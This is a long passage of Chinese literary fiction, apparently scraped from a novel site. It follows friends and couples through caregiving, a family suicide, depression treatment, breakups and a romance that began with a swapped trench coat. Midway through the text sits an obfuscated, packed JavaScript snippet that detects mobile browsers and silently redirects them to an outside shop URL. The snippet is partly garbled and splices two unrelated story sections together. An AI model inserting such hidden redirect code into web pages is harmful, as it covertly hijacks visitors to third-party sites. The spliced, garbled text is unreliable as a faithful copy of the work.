嘉菱的姨妈在她高三的时候离开了。那时候嘉菱的母亲和姨妈忙于照顾患上失智症的嘉菱外婆。当时姨妈正值更年期,本就体质差的她在更年期变得更虚弱,严重的失眠和神经紧张让她痛苦,出汗和打鼾变得频繁。繁重的照护老人的责任,让母亲和姨妈频繁吵架,姨妈并没有告诉母亲自己的难处。姨妈耻于说出自己的痛苦——她怕被责备,为什么别人也是更年期就没有她说的状况,为什么别人的更年期可以忍,她却不能忍。嘉菱的舅舅总是劝她们不要再吵了,说照顾失智的外婆才是最紧急的事,可是舅舅总是推脱自己是男的,很多贴身照护的事由他来做不方便。舅舅劝说过舅妈去照顾外婆,舅妈十分委屈——她不想顾老不顾小,儿子云来也是那年高考。后来舅舅就拿了不少钱出来,人也不过来了。 姨妈是在这种情况下走的。她最后一次和嘉菱妈妈吵架时说:“我生的也是儿子啊,我家小武念初三不要中考吗?你为什么总是找我替你,你们谁替我考虑?如果大哥不想出人管妈,那我也可以只出钱!” 嘉菱妈妈很生气,但还忍着没说话。姨妈最后说的话激怒了她。 “你就是生的是女儿才有这么多时间来这边照顾妈。你不要总说我了,你比我高贵在哪里?你最好希望嘉菱以后不要恨你。” 嘉菱妈妈简直要疯了,照护失智老人的委屈和辛苦让她时刻紧绷着,她难以想象从小一起长大的妹妹会对她说这种话。她要妹妹滚,再也不要出现,她就算一个人熬死也能照顾好自己的妈。 姨妈离开外婆这边后就选择了自我了结。姨父和表弟小武同姨妈娘家不再来往,他们非常怨恨这一切。外婆没多久也去世了。 这之后,嘉菱的妈妈陷入了无穷尽的自责和悔恨。嘉菱的爸爸对她妈妈有很多不满和埋怨——在他看来,妻子娘家的事情不管结果如何,都已经结束了,女儿念高三,自己的太太怎么一点不操心女儿,哪来的闲工夫天天悲伤?嘉菱觉得爸爸对妈妈很不公平——妈妈需要时间面对两位亲人的接连离世带来的打击和创伤。这种时候,她的妈妈绝对是最痛苦的人、最需要帮助的人。 一天放学回家,嘉菱没看到妈妈,不安的情绪涌上心头,她非常害怕。各个房间喊着找着,一直没找到妈妈。后来在父母房间听到极小声的抽泣,她打开步入式衣柜的门,看见了蜷成一团、瞪着无神双目的母亲。 父亲只当是母亲“发癫”,不想面对这些事情——他很委屈,如果他不忙生意,这个家靠谁?嘉菱打电话联系了在华亭市学医的堂姐。在堂姐的建议和支持下,嘉菱联系了舅舅,他们带母亲去了省城医院,挂了神经科的专家号。持续了一年半左右的药物和心理治疗,嘉菱妈妈的情况稳定下来。嘉菱也鼓励妈妈找一些感兴趣的事情做,也许会有新的生活方向。后来,嘉菱妈妈在市里的一个小动物救助组织做义工,朋友圈经常更新一些救助信息,整个人的状态看上去是还不错的。 医生开了很多药给杜雨。回去的路上,嘉菱握着杜雨的手,沉默很久后,她建议他还是要把这个情况告知家里人。杜雨点点头同意了。 嘉菱陪杜雨回到宿舍,找子俊说了下情况,嘱咐子俊多关照一下杜雨。 子俊看到杜雨提回来的药,那天晚上怎么也睡不着,半夜蒙在被子里哭了。他对情绪病并不了解,以前念高中有同学因情绪问题休学,大家只会觉得是那同学承受能力差、不坚强,更难听的话也有,大概是说人家“矫情”,是“弱者”。现在,他只觉得羞愧——原来身边亲近的人的痛苦是那么真实。如果发生在他自己身上,他能像自己以为的那么坚强吗?他想,绝不会。 杜雨和家里沟通了下自己的情况,父母商量后问他要不要暂时休学一段时间,他拒绝了,表示“吃一段时间药看情况再说吧”。吃药一段时间后,杜雨的睡眠情况得到了很大改善,偶尔凌晨失眠醒过来,子俊也会翻身起来,及时关心他需不需要帮忙。 子俊观察了杜雨治疗后的恢复情况,找了嘉菱商量。 “嘉菱,你说我们要不要劝杜雨多看几家医院?”子俊问道。 嘉菱不解:“怎么讲?” “我有个表弟小时候发烧后会抽搐,在我们本地诊断是癫痫,他妈妈看到医生给的长期服药的方案,觉得还是要谨慎些,就跑到省城大医院和外地的大医院去了,后来看下来就是高热惊厥。最开始家里其他人都打算不折腾了,就按癫痫治的,要不是我姨妈坚持去外地多看几家…………” 嘉菱疑惑地问道:“你是觉得杜雨没有生病?” 子俊赶忙回道:“没有没有,怎么会呢。我是觉得不同的医院可能有不同的治疗方案,多参考不同的专业医生的意见吧。我同学爸爸之前生慢性病,吃药瘦了好多,后来也去找医生说明情况后换了药,人好多了,治疗方案是可以根据人的具体情况调整的。杜雨现在睡眠是比以前好一些了,情绪方面,感觉没太大好转,反正我总觉得他在苦撑,也很不好意思麻烦我,可能不想我区别对待他,过多关心他。不知道你这边是不是同样的感受,所以我过来找你商量嘛。” 两人商量后,嘉菱提前联系了在华亭读博的堂姐,咨询并听取了堂姐的意见,帮杜雨挂了号。在华亭的几家医院诊断和开药与吴州并没有太大区别。子俊和嘉菱私下和医生沟通了一下,听取了一些对待病人、和病人相处的建议。 子俊和嘉菱会督促杜雨按时服药,定期陪他去做心理咨询。一年多后,杜雨基本恢复,在专业的治疗后,他渐渐接受自己某天还是会重新遇到突如其来的情绪,就像接受自己芒果过敏一样,他可以面对这些,他不害怕。他非常感谢嘉菱和子俊对他的帮助和陪伴,也发愿自己一定要做一个可以提供支持和帮助的朋友。 嘉菱老家番石榴上市时,家里给她寄了一箱到学校。杜雨尝过后很喜欢,嘉菱问要不要给他父母也寄两箱,他接受了嘉菱的好意。嘉菱看到杜雨家地址的时候,有了一丝难受的情绪——杜雨家是29楼。她想到了那个暑假,也就是说杜雨一直在29楼的房间,抱着绝望的心情,假装无事发生一样坚持每日和她联系。杜雨握紧她的手,说着:“没关系了,会越来越顺的。谢谢你!多谢你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988375|193651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学毕业后,杜雨和嘉菱友好地分开了。杜雨回了复州,家里给他安排了不错的工作;嘉菱和子俊也都回了自己的家乡。对于分开,杜雨和嘉菱都很平静,最不能接受他们分开的人是子俊。子俊的情绪也没持续多久,各奔前程,他相信他们仨都会有很好的人生,大家再见仍是好友。 杜雨有位同学叫文凯,他们的母亲在同一单位工作。文凯的父亲常年在外地经商,母亲独自带他,没有祖辈协助。他俩的母亲关系很一般,甚至有些面子上的敷衍——杜妈不喜凯妈势利,凯妈嫌弃杜妈做作。文凯比较调皮,从小胆大,他总嫌杜雨“怂”,觉得有什么可以争取的就尽力争一下,万一有用呢? 他俩上初中时,有次遇到便衣抓惯偷,需要目击证人帮忙去警局作证,其他人和杜雨马上就答应了。但是文凯帮忙后向警官提了要求——他要对方写一封表扬信寄到学校,当时杜雨和警官都惊讶了。对方拒绝了文凯的要求,并表示:“这是做好事,是很光荣的事情,不能用表扬信来交换,可以一开始就拒绝我们。”文凯说:“权力不对等,怎么一开始就拒绝?”对方摇摇头看着文凯。最后大家得到了口头表扬,没有收到表扬信。 高一时,文凯因为家庭纷争两周没去学校。杜妈对杜爸说:“凯妈家里这次扯皮牵扯了好多亲戚,吵得一塌糊涂。”见杜雨在一旁听着,她收低了声音,杜雨识趣地回了房间。 这次文凯很奇怪,他明明是天不怕地不怕的人,总是有无穷的精力,结果回校后变得很喜欢找要好的同学们倾诉。很多同学嫌他烦开始避着他。之前和他关系最好的男同学让自己妈妈打电话到他家,要他不要再骚扰自己;他不相信,那位同学自己又打了电话重复了一遍。有些同学最开始会听文凯讲,用自己理解的方式劝文凯,像“你这样你妈妈好担心的啊”“你这样会影响学习的”“你怎么能想死,这对得起父母吗?”“这世上好吃好玩的那么多,你放弃了就什么都没有了”——这些话让文凯感受不到一丁点安慰,只是愈发狂躁,他听了只想大喊大叫。这些友善的同学也都觉得没办法,开始躲着他。后来所有同学里,只有一位女同学和杜雨还是正常地和文凯讲话,像以前一样对待他。杜雨不理解文凯反复讲的那些话,也不明白他为什么那么痛苦,但是他擅长闭嘴——他不知道能做什么帮助文凯,他就做到文凯说他就听。 文凯的妈妈带他去过医院,后来一直在他课余带着他去江城做心理咨询。凯妈不想让儿子生病的事被单位里的人知道,但没多久,这事还是传开了。凯妈笃定是杜妈说的,恰巧两人的儿子在一个班级,于是她扯了个由头,在单位和杜妈大吵一架。杜妈感到十分委屈,对杜爸抱怨道:“连她老公在外地赌博负债的事情都传遍单位了,难道她儿子生病就一定是我传的吗?我根本不会蠢到在单位里传同事闲话。” 杜爸劝杜妈不要生气了,大不了叫杜雨不要和文凯走太近。杜妈叹了口气,说:“大人的事不要影响小孩的交往,看小孩自己的意愿吧。” 杜雨和小麦都收到过凯妈的短信,里面的内容大概是:“非常感谢你对文凯的陪伴和帮助,希望你继续和文凯做朋友,不要抛弃文凯,也不要嫌弃文凯。阿姨真的很感激。” 杜妈知道后真的要气死了,她认为这种行为不符合伦理。她不反对孩子们的交往,但凯妈不和她沟通就单独给杜雨发短信,不会对杜雨造成压力吗? “你儿子需要的是专业的治疗和支持,我儿子也只是一个未成年小孩子。我不知道你有没有带你家小孩去寻求专业帮助,但你怎么能不和我讲一声就给我小孩发消息?你是怕我晓得了反对吗?你是母亲,我不是母亲吗?我从来没有反对我儿子和你儿子交往,也不觉得帮助同学有问题。你越过我和我爱人,给我孩子发短信,我非常生气!请你不要再做这种事情!还有,比起被单位的不着四六的同事拉着去学佛捐钱,你应该立马带孩子去省城找靠谱的医生,不要耽误了孩子!”杜妈在电话里咆哮。 “我带孩子在看了,一直看心理医生。我没有什么好说的,希望你体谅我作为一个母亲的焦虑和难处。我无意伤害杜雨,对不起。”凯妈说罢挂了电话,她哭了很久。 高二上学期,文凯恢复了常态,甚至变得更自信,但他不再理对他示好的一些同学,只和杜雨,还有曾听他倾诉的那位女生小麦来往。他似乎又有一些变化:杜雨和小麦并不会提起之前的事,但文凯很害怕他们提起,所以会时不时主动说:“我那时候状态不好的时候,就不要再说了”。 文凯有一次对杜雨说起:“我这样讲,你可能会难过,但是我现在有点‘讨厌’你和小麦。和你们接近,我会觉得自己很恶心,想起过去那个很恶心的我。我觉得那个自己无能又脆弱,那不是我。我感谢你们,我又觉得我们应该保持距离。” 杜雨回他:“过去的你一点都不恶心。你否定自己,那我和小麦当初和你交往就没有意义。” 高二下学期,文凯去了南洋。学校和南洋的高中有合作项目,大陆这边的学生出一大笔钱就可以直接去当地高中就读,完成高中课程后,可以和南洋本地学生一样参加当地的大学入学考试。文凯的妈妈拿出了自己的存款——那时她顶住所有压力、被亲戚唾骂,坚决不替文凯爸爸还债,才辛苦保住的积蓄。后来杜妈提起凯妈,平淡地说道:“她喝酒一餐能喝四两白酒,工作应酬拼得很。单位的女同事都不喜欢她,嫌她攀附、笑她总想着往上升,还嘲讽她老公不重视她;男同事也不喜欢她,嫌她又争又抢。她其实就是一个蛮不容易的人,造业人,冇得办法的人。这世上多的是冇得办法的人,有什么好笑别人的?” 出国前,文凯主动提了生病期间的事,向杜雨还有小麦道谢:“谢谢你们没有抛弃我。我永远不原谅那些在我生病时那样对我的人,你们才是我真正的朋友,是把我当了好朋友的人。” “其他同学可能是对你的情况不了解吧。”小麦低下头,轻声说道,“我觉得他们也没有恶意,就是怕麻烦,不知道怎么处理这种事。我妈妈有抑郁症,很多年了。” “文凯,你不用因为这件事就把我当好朋友。”杜雨认真地看着文凯,“我们还是好同学。以前我们也不是特别要好,喜欢的东西也不一样。你有投契的朋友,我也有,因为这件事就当我是好朋友,对你、对我都不公平。我不是为了你把我当好朋友才在那时候听你说话、陪伴你。如果不是你,是任何一个同学在那样的状态下求助,我都会做同样的事。” “我也一样。”小麦抬起头,看着文凯。 文凯删掉了除了杜雨和小麦之外的所有同学的社交账号。后来他考上了南洋理工,没再回国。杜雨工作两年后,偶然碰到了小麦。那天下雨,小麦和她妈妈一直打不到车,杜雨上前打了招呼,然后载着她们去了高铁站——小麦是带妈妈去旅游的。杜雨和小麦聊了一路,说起来他俩都是在文凯去了南洋一两年后,主动删掉了他的社交账号。在此之前,他们其实一直看不到的文凯的社媒动态。他们相信是同样的原因,替文凯做了他可能没能那么下决心做的事。 高中的这段经历对杜雨的影响,让他在自己遇到同样状况时能很快接受去就医——状况比文凯糟糕一点,但能得到药物和心理双重治疗,更难得的是有朋友的支持和陪伴。这也是杜雨能坦然面对和嘉菱离别的原因——是的,分手是嘉菱提出来的。杜雨觉得,自己和文凯不一样。 杜雨大学毕业后工作还算顺利,薪水也丰厚,只是有点忙。那时候,父母亲会说起:“也是时候谈恋爱结婚了。”过去的恋爱让他变得更好了,他当然不排斥新的恋情。 杜雨去吴州出差的间隙,重爬了大学时和好友爬过多次的山,遇到了一位有意思的女孩。没想到还能在复州的中医院再次相遇,难得的是,他和对方有共同认识的同学。 他陪小代相亲时,是第三次遇到那女孩——她是陪同事相亲。那天是他第一次仔细看她:她有双莹润的善目,像沾着露水的铁炮百合。小代和她同事没成,他俩加上了联系方式。这多像天赐的缘分,他想抓住机会。他通过朋友小代联系上高中同学胡慧,诚恳地介绍了自己的家庭和工作情况,请求帮忙牵线搭桥认识那个女孩。胡慧因为和他几乎没什么来往,核实了他的工作还有家庭情况后,又通过小代和另外一位高中同学小麦了解了一下他的为人,才应承下来,帮他牵线认识那个女孩。他们自然地走到了一起,后来,她成了他的爱人,他们组建了家庭。 她是个很温和、善良的人。他还发现了她身上有一股子侠义气,是属于悄悄地“路见不平,拔刀相助”的人。交往不太久,他就确定她是自己想要的爱人。他一直过着省事的人生,对自己的生活很满意。他时常感激上苍,从小就很幸运——有着和谐的家庭,父母很爱他,也为他提供了稳定的环境;他在艰难的时刻,也得到过很多爱和支持。他很知足,但如果可以,他还是想继续过省事的人生——谁会嫌安稳的日子太多呢?如果对婚姻有什么期待,他希望对方是个好人,一个可以好聚好散的人;当然,最好能百年好合、携手到老。他想,自己是个能好聚好散的人,相信她也是。 他是为了幸福才结婚的,他相信她也是。 杜雨在爱人提出要搬出父母家时,很不理解——他觉得自己的父母绝对算得上是好公婆。离开父母家,等于放弃很多生活上的便利,他早已习惯和父母一起生活带来的那种完美的平衡。爱人坚持要搬出去,还对他倾诉着她的痛苦和困惑。 他突然发现,自己好像能理解……可这种理解,让他焦虑。 在爱人工作不顺,因为压力太大情绪失常时,一开始,杜雨很愿意提供陪伴和支持;时间久了,爱人的状况没有好转,他发现自己变得不耐烦——是他意想不到的自己的样子。 在爱人又一次向他倾诉自己的痛苦时,他说:“这么难受就辞职吧,不要又受煎熬又不离开。这样心态差,干活也觉得累,多上一个月班也发不了财,少上一个月班也饿不死。你要么勇敢一点,想离职就走吧。”说完他也震惊,自己怎么会轻飘飘地说出这种残忍的话?他不敢看她的眼睛,也不想看她的眼泪,他根本没有勇气面对她。他强装冷静,去了书房。 以他对爱人的了解,那么敏感又善良的她,肯定会感受到他的无耻。他对自己感到羞愧,但他不想再面对,不想表达自己的理解——那会把他们推向分离,让他走向歧途。 他想要的什么?他不知道。那他现在做的是什么呢?他想要做理想中的体面人,给亲友提供情感支持。他问自己:“你是在表演一位好伴侣吗?你用拒绝把她推向绝望和孤独,用逃避来证明自己无能为力。”他想要省事的生活,这是他的选择。 杜雨知道爱人的痛苦是那么真实,但他不想讨论她的情绪。比她的眼泪让他更痛苦的是她冷漠的眼神——那眼神告诉他,他和其他人没有区别。他本以为自己不一样。 在爱人搬离家后,杜雨不再去父母那边吃饭,他暂时没有想好要怎么处理这个问题。去年酿的荔枝酒没有开封,他看着玻璃瓶上的日期,想起了很多往事。活得认真,不该是一种耻辱。他伤害了曾经认真的自己和一直认真的爱人。 8. 执念 赵秋从鹊桥路搬出来两周了。工作上,她不再追求尽善尽美;生活上,她只想让自己舒服些。杜雨偶尔会给她发消息问候一下,更多时候只是给她发家里的那些植物的生长变化的照片,还有她养的那只小乌龟的视频。她知道他和她一样,不愿意谈早就该开口的话题——他们都不想面对。 石唯还是住在外公家老房子里,最近屋后的枇杷树挂满了果,油桃也长到可以吃的状态。最让她欣喜的是:种了五年的西梅树,终于结果了。这棵树长得又高又大,她也想过是不是当年卖家发错了,去网上找商家,店铺早已关闭。她对这棵树不再抱希望,想着冬天找人把树锯掉好了;去后院给百合花补肥的时候,抬眼却看到了西梅树上绿色的椭圆形果子,她去仔细找了找,全树也就不到十个果。但她是开心的。五年颗粒无收的西梅树结了果,仿佛对她过去同样不顺的五年是个慰藉。 搬出来后,赵秋开始自己做晚饭,会邀石唯不加班的时候来她家一起吃饭。石唯种的菜都是“天生天养”——因为没空,她种菜就没有种花上心,都是栽了就不管了,这样居然还活了一大半。最近这些满是虫眼的蔬菜都进了赵秋家。赵秋笑称石唯家的蔬菜都是“蕾丝”牌,那菜叶子可不是被虫子啃得像一块蕾丝么?石唯笑道:“健康,天然!” 那天,她俩一起吃晚饭。赵秋提起了师姐杨树奇发的朋友圈:“小唯,阿奇姐发了她今年的办展信息,在下个周末。你有看到吗?” 石唯最近有些忙,而且她关闭了朋友圈,从来不去关注任何人的动态。她拿起手机,点了杨树奇的账号,去看杨树奇的动态。 “那我联系她?下周末你空吗?我们一起去支持下?”石唯放下啃着的排骨,抬头看着赵秋说。 “我就是这个意思呢。”赵秋笑笑,给石唯又夹了块排骨。 杨树奇算是石唯架构花艺的启蒙老师。她和石唯的姐姐石植是同学,她俩一直是很好的朋友。七年前,石唯生病在家休养很久,石植怕她心情不好,联络杨树奇教石唯花艺。 杨树奇每年会挑时间租一个场地,办个为期几天的作品展——多是一些花艺装置作品。小型展览也不会有太多人特地去看,来的大多是感兴趣的客户还有一些亲友。她这样做有一点宣传自己的意思,这也为她带来了一些客户和商单,或许也有一些想展出自己作品、传达自己想法的表达。今年这个展的主题是“执念”。前段时间,石植推荐她看的一部台剧,剧情围绕着不同人的执念展开。她看后很喜欢,某种程度上这部剧激发了她的灵感。 周六的时候,赵秋开车带石唯一起去杨树奇那边。路上她们聊着和杨树奇或者石植一起的事情。到那边后,杨树奇热情地接待了她们。白天杨树奇忙于接待不同客人,晚上结束后她请赵秋和石唯吃饭。 吃饭时,石唯提起白天看展最喜欢的一件作品。那是用龙柳枝条绕出的很多只手的形状,无数红线缠绕着这些手蔓延开去,从下到上,最后只剩下一只手——掌心向上支起,挣断了红线。赵秋也觉得这个作品最特别。 说起来,杨树奇的工作室门头上根本没有名字,就是绘了一只掌心向上的小小的手。不少人问她:“店铺怎么能没有名字呢?一只手是啥意思嘛,怎么不画花?画花别人也晓得是花店呀。”每当被问起来,杨树奇只是笑着回道:“这只手就是我的手。”她心里想的是:我是自己的主人。 杨树奇邀赵秋和石唯留下来多玩一天。由于赵秋周日还有别的安排,她们还是打算当天就走。告别的时候,杨树奇送了她俩自己为这次主题展定做的手形状陶瓷彩绘胸针,还有包装可爱的曲奇礼盒。 返复州的路上,石唯提到:“嗯?阿奇姐她是不是提了一句她交男朋友了?刚好那会她托跑腿送过来的礼盒到了,她出去接,后来我们就没接上这个话题。” “是的,她是这样说了。我大三那年暑假,她之前那个男朋友还来过她家找她。那天我妈真是的,又想出去看,又不好意思觉得这样没礼貌,结果一直贴着门听对面门师姐家的动静,还不如出去呢。师姐这么多年都没再谈恋爱,现在恋爱了蛮好的。”赵秋边说边全力盯着前方——她开车不算老师傅,现在自己一个人开车多了还是很紧张。 石唯和赵秋都知道杨树奇的那段恋爱往事——那年,杨树奇差点结婚了。 杨树奇有个朋友Ada在华亭市的一家偏日系的服装公司做女装设计师,负责裤装设计。有次这家公司内卖会,Ada邀刚好在华亭出差参加展会的杨树奇空了去逛一逛。那天,杨树奇没挑到中意的女装,倒是蛮喜欢一款白色男装风衣。一看码子是170,倒是很适合她穿;她光脚172的身高,骨架比一般女性大一点,上身试了后,觉得这衣服就是为了等待她才挂在这冷冰冰的架子上没被挑走。Ada笑话她,说这衣服没被挑走是因为内卖会来的几乎都是女性,没几个男的,不过Ada也很赞同这衣服和她是绝配。 “男装线都是我们老板带来的那个港城设计师负责,扑克脸,非常敬业和专业。他的设计我都蛮喜欢的,男装衬衫我给我爸买了不少。”Ada笑道。 “那衬衫我也给我爸拿几件好了。我看那边标着2009AW的那款样衣剪裁特别好,是被人买走了吗?”杨树奇翻着一件衬衫的水洗标看面料成分,抬起头问Ada。 “那件啊,是我给另外一个朋友拿了,她是版师,喜欢这种风格的。那件是之前日籍设计师做的,他走了之后,男装线就是那位港城设计师负责了。”Ada回道。 没多久Ada就被一位财务部的同事叫走了,说是讨论商量一批老样衣的标价问题。杨树奇那天挑挑拣拣,女装没给自己买上,给家人朋友挑了点,自己就收了那件合适的白色风衣。 杨树奇之前讲起这段故事的时候,石唯和赵秋她们想着:是不是和杨树奇展开这段感情的人是那位男装设计师?杨树奇那个时候笑着回说:“当然不是,没有那么巧。”其实,世事奇巧是寻常,只不过不是我们想的那种巧。 杨树奇在莞邑的外贸公司上班,公司做婚礼相关产品,她在业务部门。外贸赶上好时候,杨树奇趁着东风也抓住了些时代的指缝漏出的沙砾,她攒了不少钱。对工作,她是满意和知足的。家里虽不满她一个女孩子在外地,但看她工作挺好,也存到了钱,就不劝她回来考公务员了。但是婚么,父母还是要催一催的,像是他们当一天和尚要撞一天钟的任务。 有个周末,杨树奇去一家教复古舞蹈的课室上体验课。那时候上映了一部二十年代背景的电影,她早就看过电影同名的原著书,电影里的复古舞蹈她倒谈不上喜欢,也许是好奇,看到有教类似复古舞蹈的工作室,她就预约了试课。上课地点是在一个南洋风格老楼里的小工作室,她缓缓爬上木质老楼梯,掀开串珠帘子进去。也许是电影带来的短暂风潮,试课的人很多。工作室里空调很足,大家把外套用工作室提供的衣挂穿好,挂在门旁的架子上。 那节课上下来,比起跳舞,她更喜欢舞蹈教室的氛围——绿色渐变的琉璃串珠门帘、图案怪诞又带着柔美的马赛克玻璃台灯、透出欧泊光泽的铀玻璃花瓶、品种丰富的鸡冠花和大丽花盆栽,这些装饰让她更欢欣。还有浆果色地板,让她觉得好像跳着舞可以把自己溶进地板——像被搅拌一样化成朱古力。 她不打算接下来报班学习,如果喜欢的只是氛围,从跳舞里得不到太多满足,那就把住处改造一下,添些自己喜欢的物件好了。试课结束,她拿起挂在架子上的衣服穿上就走,“笃、笃、笃”,她快步下了楼梯,像怕慢一点木楼梯就要塌了一样。 那天出门本来天气还不错,结果课后变天了,风大雨大,还好她包里常备着伞。杨树奇还没走多远,就发现有人跟着她:她快一点走,后面那人好像也紧着跟着。她也没害怕,猛一回头再故意反方向走几步,风把她手里轻巧的遮阳伞吹得左右摇摆——她两手紧拉着伞托。那人倒停下来了,是个看上去斯斯文文的男生,好像是刚才舞蹈教室里的人。 “你瞄什么瞄?跟什么跟?有事说事,没事我现在就报警!”杨树奇怒吼一声,雨水把她的卷发打得又湿又塌。 “杨小姐,不好意思,额……我没有坏心思的。”斯文男子撑着伞,有点拘束。 “你怎么晓得我姓杨?还敢说没有坏心思,我现在就报警!”穿着高跟鞋,杨树奇比斯文男还高一些,她气势足得很——也许是斯文男的面目看上去没有她想象中可恶。 “杨小姐,我是旋转小房子舞蹈室的助教,我们刚刚见过。你……你穿的是我的风衣,穿错了。”斯文男很尴尬。 杨树奇一时语塞,上唇微提,皱着眉头。 杨树奇的确穿错了衣服,她哪能料到自己在华亭买的白色男装风衣会在莞邑和别人撞款?哪有这么巧的事情呢! 文佳兴也没想到,怎么就和女孩子撞了衫,对方还穿错了他的外套。 文佳兴个子将将174,人瘦瘦的,肤白,看上去温和也客气,五官端正,有一种平易近人的俊朗。这天他早就注意到了那位修眉俊眼的高个子女孩,不过那女孩上课兴致不太高,倒是一直盯着远处桌上的铀玻璃花瓶看。他这节课没协助朋友授课,在一旁整理资料,下课了和朋友说了几句话就走了。没想到的是,自己的风衣外套找不见了,旁人说他“眼睛飞了”,不就在最外头嘛,他过去看,衣服是那件衣服,也不是那件衣服——他的衣服没有这么新,而且他的衣服内袋小衬里面绣了自己的名字。打扫阿姨说有个高个靓女穿了件一样的出去,他就追出去了,可是又不知道怎么开口,怕女孩尴尬,结果女孩以为他是尾随的变态,现在自己倒蛮尴尬的。 杨树奇翻开风衣胸口内口袋的小衬,看到了上面绣的“Chris Man”;又想到自己的衣服怎么一股绵密暧昧的香水味——她不喷香水的。她马上把风衣脱下来塞给文佳兴,都忘了要自己的衣服,转头就走,结果走太急,右脚细高跟鞋跟踩到了排水盖缝隙里。她把脚挤出来,想拔出高跟鞋,穿好就赶快离开,文佳兴先她一步帮她把那支紫红色高跟鞋拔了出来。文佳兴问了杨树奇要去的地方,说“顺路”可以开车送她,杨树奇没有拒绝。 到了车上,文佳兴一直在道歉,因为他把杨树奇的风衣塞在纸袋里跑着出来,袋子里面原本装了一杯咖啡,所以跑出来的过程中……杨树奇打开纸袋子看了眼,叹了口气。文佳兴主动提出会带衣服去干洗,顺势加了杨树奇的联系方式。 杨树奇觉得非常晦气,怎么就这么巧!巧到离奇,不像什么好兆头。还有这个文佳兴,在衣服里面那么隐蔽的地方绣名字?杨树奇现实生活里只遇到过有的日本客户喜欢在自己用高级面料定制的衣服里侧绣名字,也没见人家绣在边边角角里,这个乱讲究的男的真是的。她马上又平静下来,人家想怎么绣名字是人家的自由,自己不过是觉得太尴尬了,迁怒对方。 “杨小姐不好意思,实在不好意思。”文佳兴说国语糯糯的。 没关系。你衣服绣名字也太隐蔽了吧,和没绣没区别,像防盗一样。名字后面还有个兔头。”杨树奇说完自己也笑了,可不是派上用场了,今天被她“偷”了。 “哈哈……我穷讲究了,不好意思给你添麻烦了。嗯,我属兔。”文佳兴腼腆笑着回她。 故事的开始就是这样,说阴差阳错也好,说因缘际会也行。很久很久之后,杨树奇和石唯去某地做装置布置前拜当地的土地庙,她对石唯说:“我后来想通了,命中注定什么的我不信,我也不觉得是什么善缘、恶缘或孽缘,就只是有一段缘要了结而已。了了有何不了。”石唯当时疑问:“这样讲的话,不也是一种命中注定吗?”说完后,杨树奇也笑了一下,闭眼上香,不再言语。 文佳兴和杨树奇住在同一个小区同一栋楼,区别是:本地人文佳兴的房子是自己的,杨树奇是租的。文佳兴住11楼,杨树奇住9楼。 他们第一次见面其实更早。那次杨树奇带着公司开发的各款永生花产品参加华亭市的国际礼品手作展,她去别的展位逛的时候,被一家纸品设计公司吸引。那里陈列着很多国外五六十年代的贺卡,很多都是精巧有意思的款,还有各式各样的立体卡片、港城五六十年代的海报。她买了两张古董卡片:一张卡片是奶油色的底色,银色铃铛、黄色丝带还有粉色铁线莲环绕着一个浅紫色沙漏,沙漏的上下分别是新郎和新娘,上面的文字是“Best Wishes to the bride and groom”;另一张卡片底色是粉色,是一个可爱粉色脸蛋儿的小宝宝睡在一个浅蓝色时钟中间,时针和分针组成的折角像摇篮托举着宝宝,十二个时钟数字都是由不同的玩偶标的位置,数字在玩偶的中间显示,上面的文字是“To You and Your New Baby”。结账的时候,杨树奇看到桌上有一张飞天小女警主题的卡片,是多层卡片,提拉可以换成不同的人物。她顺着这张卡片看过去后,激动地叫起来——那是一张水獭小宝贝主题的卡片!是她喜欢的三只小水獭花生、果酱和奶油,还有它们的小伙伴们。她马上说要买,那个男孩子说不行,因为是他按自己喜好做的,没有版权不可以乱卖的,而且路过的大家好像都喜欢《飞天小女警》多一些。 “小时候看过《小神龙俱乐部》的人,应该会有很大一部分会喜欢可爱的哈哈湖水獭一家吧。”杨树奇很遗憾。 “应该还会喜欢《艺术创想》的尼尔叔叔。我就是看了《艺术创想》相信我也可以做到,后来学的画画。”文家兴笑着说道,“不好意思啦,这两张不能卖,但是真的非常感谢你喜欢它。我做的。” 他俩恋爱之后提起这件事情,杨树奇说当时只顾着看漂亮的卡片,并没有注意和自己对话的平平无奇的男子。文佳兴不服气,说道:“有没有搞错啊,我妈怀我的时候天天看港城明星的海报额,她许愿我一定要像武侠剧的演员一样俊朗。上学的时候,大家都说我像张智尧呢!我这样很平平无奇吗?” “跟你在一起还不是你有五分像他啊,但那个时候和水獭比,你就是平平无奇。知道什么叫童年滤镜吗?你不也是沾了童年滤镜的光嘛。我小时候看《杨门女将》,张智尧演的杨宗保万箭穿心,我的心像被撕开,有万只蚂蚁啃噬一样。第一次明白爱情的巨大哀痛。”杨树奇啃着猪肉脯说道。 “你永远不会再尝到爱情的哀痛滋味了。”文佳兴头枕着杨树奇腿,睡到沙发上,突然模仿起播音腔说他以为的标准国语。 “我最喜欢《水獭小宝贝》了,小时候从这个动画片里学到了很多爱和友善。”杨树奇继续啃着猪肉脯,试图用粤语讲清楚这段话,结果这段话听起来像熨不平的皱巴巴的衣服。 “我最喜欢树奇,好中意,好中意qiqiBB。”文佳兴蹬着双腿,学《水獭小宝贝》里果酱小水獭的声音说话。 杨树奇推开文佳兴的头,说他简直是发神经:“我们小时候看的是台配版,你学得像是要上战场一样,太激动了,一点也不像!”俩人吵吵闹闹了好一会儿。大多时候,杨树奇尝试说粤语,文佳兴就播音员附体般严肃正经,俩人谁也不嘲笑谁反而显得异常滑稽。 